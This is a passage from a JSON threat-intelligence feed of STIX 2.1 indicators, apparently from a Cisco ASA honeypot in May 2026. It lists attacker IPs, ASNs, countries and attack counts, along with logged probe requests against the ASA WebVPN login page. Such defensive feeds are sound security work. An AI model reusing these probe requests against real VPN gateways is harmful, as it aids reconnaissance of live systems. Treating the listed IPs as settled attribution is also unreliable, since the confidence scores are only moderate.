        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T12:26:20.713Z",
          "last_seen": "2026-05-08T12:26:24.047Z",
          "country": "Malaysia",
          "country_code": "MY",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--d6e8ba42-9a35-4f64-a042-cc74afa85f06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:20:10.000Z",
      "valid_until": "2026-06-09T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T14:16:36.048Z",
          "last_seen": "2026-05-14T12:13:54.721Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--990de2ba-652c-4886-93bb-95dfd870a64d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.209.199.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:20:10.000Z",
      "valid_until": "2026-06-09T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 79,
          "first_seen": "2026-05-08T14:11:08.529Z",
          "last_seen": "2026-05-29T19:25:59.938Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2c1a6cfc-9c62-4666-9171-ee1573202ae6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:20:10.000Z",
      "valid_until": "2026-06-09T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T13:41:08.814Z",
          "last_seen": "2026-05-14T03:43:10.228Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--91c116fe-e3e5-404c-bb1e-0061c7a046f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:20:10.000Z",
      "valid_until": "2026-06-09T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T14:12:24.698Z",
          "last_seen": "2026-05-30T07:09:25.509Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--4433eaa9-a01d-4618-ab04-f76fc4068900",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.83.220.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:20:10.000Z",
      "valid_until": "2026-06-09T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 83,
          "first_seen": "2026-05-08T13:53:04.555Z",
          "last_seen": "2026-05-31T03:51:48.850Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T15:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--5815c24d-165e-4ad3-ab31-307ee1c03f68",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:20:05.000Z",
      "valid_until": "2026-06-09T15:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T15:17:44.925Z",
          "last_seen": "2026-05-23T10:50:55.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T15:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0535ef39-b08a-4437-b32c-c10a185620e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:20:05.000Z",
      "valid_until": "2026-06-09T15:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-08T14:50:52.341Z",
          "last_seen": "2026-05-25T19:38:07.236Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T15:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5b85138d-43c0-4574-b6d5-65017908b6e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:20:05.000Z",
      "valid_until": "2026-06-09T15:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T15:16:16.519Z",
          "last_seen": "2026-05-10T02:46:48.077Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T15:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /redfish/v1/ HTTP/1.1\" 404 - geo: US; ASN 27630 (XFERNET)",
      "id": "indicator--ced591ed-d880-49c4-aa4c-c98bb562119d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '69.166.3.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:20:05.000Z",
      "valid_until": "2026-06-09T15:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 20,
          "first_seen": "2026-05-08T14:20:56.181Z",
          "last_seen": "2026-05-23T19:02:04.478Z",
          "country": "United States",
          "country_code": "US",
          "asn": 27630,
          "as_org": "XFERNET",
          "event_types": [
            "\"GET /redfish/v1/ HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T15:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--423b458a-d980-4104-954a-c3f517185f18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:20:05.000Z",
      "valid_until": "2026-06-09T15:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T06:40:12.353Z",
          "last_seen": "2026-05-23T07:01:32.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--33568bae-5131-428e-a7b6-0fb67f6bb73f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.195.233.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:20:11.000Z",
      "valid_until": "2026-06-09T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 63,
          "first_seen": "2026-05-08T15:56:25.827Z",
          "last_seen": "2026-05-30T10:09:08.054Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--3d3fd569-da03-4304-a451-e1f29c29a3e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.65.135.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:20:11.000Z",
      "valid_until": "2026-06-09T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 63,
          "first_seen": "2026-05-08T16:14:20.834Z",
          "last_seen": "2026-05-31T03:16:07.544Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--1bc637e9-4f4d-4955-8f91-d61772c97a0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.138.218.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:20:11.000Z",
      "valid_until": "2026-06-09T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 69,
          "first_seen": "2026-05-08T15:21:34.652Z",
          "last_seen": "2026-05-30T09:16:08.314Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f4c40e62-6f92-481f-9d9a-cb180ebdbce8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:20:11.000Z",
      "valid_until": "2026-06-09T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-08T15:34:44.594Z",
          "last_seen": "2026-05-29T22:37:56.301Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c2baab75-9456-426e-8981-91176d6194d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:20:11.000Z",
      "valid_until": "2026-06-09T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-08T15:59:45.695Z",
          "last_seen": "2026-05-23T06:04:18.217Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--aa7125aa-0cd7-4951-a03c-e00547749c73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:20:11.000Z",
      "valid_until": "2026-06-09T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-08T15:32:21.813Z",
          "last_seen": "2026-05-26T17:58:26.312Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--bafb7ca7-bc7e-4fa9-a3da-09478a22ad25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T17:18:07.111Z",
          "last_seen": "2026-05-20T04:48:03.287Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--6cfb02c9-3bac-46cd-a5df-9f67ac060b3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T16:53:16.627Z",
          "last_seen": "2026-05-26T04:45:37.101Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--3f384dd0-361c-4c07-b63c-cac670a01b0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T16:54:01.951Z",
          "last_seen": "2026-05-31T03:14:17.642Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a421891d-08c8-47d4-90fa-355b42b28df8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:20:10.000Z",
      "valid_until": "2026-06-09T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
